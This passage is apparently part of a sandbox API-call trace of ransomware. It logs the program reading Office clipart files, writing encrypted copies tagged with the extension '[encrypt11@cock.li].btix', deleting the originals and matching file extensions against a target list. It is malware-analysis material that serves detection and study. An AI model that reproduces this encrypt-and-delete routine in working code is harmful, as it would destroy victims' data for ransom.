lpString2=".WMF") returned -1 [0070.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.042] GetLastError () returned 0x0 [0070.042] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x85c, lpOverlapped=0x0) returned 1 [0070.077] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x860, lpOverlapped=0x0) returned 1 [0070.077] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.078] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.078] SetEndOfFile (hFile=0x318) returned 1 [0070.078] CloseHandle (hObject=0x318) returned 1 [0070.078] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.078] SetEndOfFile (hFile=0x308) returned 1 [0070.079] CloseHandle (hObject=0x308) returned 1 [0070.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0070.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.079] lstrlenW (lpString=".doc") returned 4 [0070.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.079] lstrlenW (lpString=".docx") returned 5 [0070.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.079] lstrlenW (lpString=".pdf") returned 4 [0070.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.079] lstrlenW (lpString=".xls") returned 4 [0070.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.080] lstrlenW (lpString=".xlsx") returned 5 [0070.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.080] lstrlenW (lpString=".ppt") returned 4 [0070.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.080] lstrlenW (lpString=".zip") returned 4 [0070.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.080] lstrlenW (lpString=".rar") returned 4 [0070.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.080] lstrlenW (lpString=".bz2") returned 4 [0070.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.080] lstrlenW (lpString=".7z") returned 3 [0070.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.080] lstrlenW (lpString=".dbf") returned 4 [0070.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.080] lstrlenW (lpString=".1cd") returned 4 [0070.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0070.080] lstrlenW (lpString=".jpg") returned 4 [0070.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.080] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.080] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.081] GetLastError () returned 0x0 [0070.081] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xe04, lpOverlapped=0x0) returned 1 [0070.116] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe10, lpOverlapped=0x0) returned 1 [0070.117] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.117] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.117] SetEndOfFile (hFile=0x318) returned 1 [0070.118] CloseHandle (hObject=0x318) returned 1 [0070.118] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.118] SetEndOfFile (hFile=0x308) returned 1 [0070.119] CloseHandle (hObject=0x308) returned 1 [0070.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0070.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.119] lstrlenW (lpString=".doc") returned 4 [0070.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.119] lstrlenW (lpString=".docx") returned 5 [0070.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.119] lstrlenW (lpString=".pdf") returned 4 [0070.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString=".xls") returned 4 [0070.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.120] lstrlenW (lpString=".xlsx") returned 5 [0070.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.120] lstrlenW (lpString=".ppt") returned 4 [0070.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.120] lstrlenW (lpString=".zip") returned 4 [0070.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.120] lstrlenW (lpString=".rar") returned 4 [0070.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString=".bz2") returned 4 [0070.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString=".7z") returned 3 [0070.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.120] lstrlenW (lpString=".dbf") returned 4 [0070.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.120] lstrlenW (lpString=".1cd") returned 4 [0070.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0070.120] lstrlenW (lpString=".jpg") returned 4 [0070.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.126] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.126] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.128] GetLastError () returned 0x0 [0070.128] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0070.141] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0070.142] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.142] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.142] SetEndOfFile (hFile=0x390) returned 1 [0070.143] CloseHandle (hObject=0x390) returned 1 [0070.145] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.145] SetEndOfFile (hFile=0x354) returned 1 [0070.146] CloseHandle (hObject=0x354) returned 1 [0070.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString=".doc") returned 4 [0070.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString=".docx") returned 5 [0070.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.147] lstrlenW (lpString=".pdf") returned 4 [0070.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString=".xls") returned 4 [0070.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.147] lstrlenW (lpString=".xlsx") returned 5 [0070.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.147] lstrlenW (lpString=".ppt") returned 4 [0070.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString=".zip") returned 4 [0070.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.147] lstrlenW (lpString=".rar") returned 4 [0070.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString=".bz2") returned 4 [0070.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString=".7z") returned 3 [0070.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString=".dbf") returned 4 [0070.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString=".1cd") returned 4 [0070.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0070.147] lstrlenW (lpString=".jpg") returned 4 [0070.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.149] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.149] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.150] GetLastError () returned 0x0 [0070.150] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x820, lpOverlapped=0x0) returned 1 [0070.174] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x830, lpOverlapped=0x0) returned 1 [0070.175] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.175] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.175] SetEndOfFile (hFile=0x38c) returned 1 [0070.175] CloseHandle (hObject=0x38c) returned 1 [0070.175] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.175] SetEndOfFile (hFile=0x2e0) returned 1 [0070.176] CloseHandle (hObject=0x2e0) returned 1 [0070.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0070.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString=".doc") returned 4 [0070.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString=".docx") returned 5 [0070.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.177] lstrlenW (lpString=".pdf") returned 4 [0070.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString=".xls") returned 4 [0070.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.177] lstrlenW (lpString=".xlsx") returned 5 [0070.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.177] lstrlenW (lpString=".ppt") returned 4 [0070.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString=".zip") returned 4 [0070.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.177] lstrlenW (lpString=".rar") returned 4 [0070.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString=".bz2") returned 4 [0070.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString=".7z") returned 3 [0070.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString=".dbf") returned 4 [0070.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString=".1cd") returned 4 [0070.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0070.177] lstrlenW (lpString=".jpg") returned 4 [0070.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.178] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.178] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.178] GetLastError () returned 0x0 [0070.178] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x964, lpOverlapped=0x0) returned 1 [0070.209] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x970, lpOverlapped=0x0) returned 1 [0070.210] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.210] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.211] SetEndOfFile (hFile=0x38c) returned 1 [0070.211] CloseHandle (hObject=0x38c) returned 1 [0070.211] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.211] SetEndOfFile (hFile=0x2e0) returned 1 [0070.212] CloseHandle (hObject=0x2e0) returned 1 [0070.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0070.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.212] lstrlenW (lpString=".doc") returned 4 [0070.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.212] lstrlenW (lpString=".docx") returned 5 [0070.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.213] lstrlenW (lpString=".pdf") returned 4 [0070.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString=".xls") returned 4 [0070.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.213] lstrlenW (lpString=".xlsx") returned 5 [0070.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.213] lstrlenW (lpString=".ppt") returned 4 [0070.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.213] lstrlenW (lpString=".zip") returned 4 [0070.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.213] lstrlenW (lpString=".rar") returned 4 [0070.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString=".bz2") returned 4 [0070.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString=".7z") returned 3 [0070.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.213] lstrlenW (lpString=".dbf") returned 4 [0070.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.213] lstrlenW (lpString=".1cd") returned 4 [0070.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0070.213] lstrlenW (lpString=".jpg") returned 4 [0070.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.214] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.214] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.214] GetLastError () returned 0x0 [0070.214] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xed4, lpOverlapped=0x0) returned 1 [0070.308] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xee0, lpOverlapped=0x0) returned 1 [0070.309] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.309] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.309] SetEndOfFile (hFile=0x38c) returned 1 [0070.309] CloseHandle (hObject=0x38c) returned 1 [0070.309] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.309] 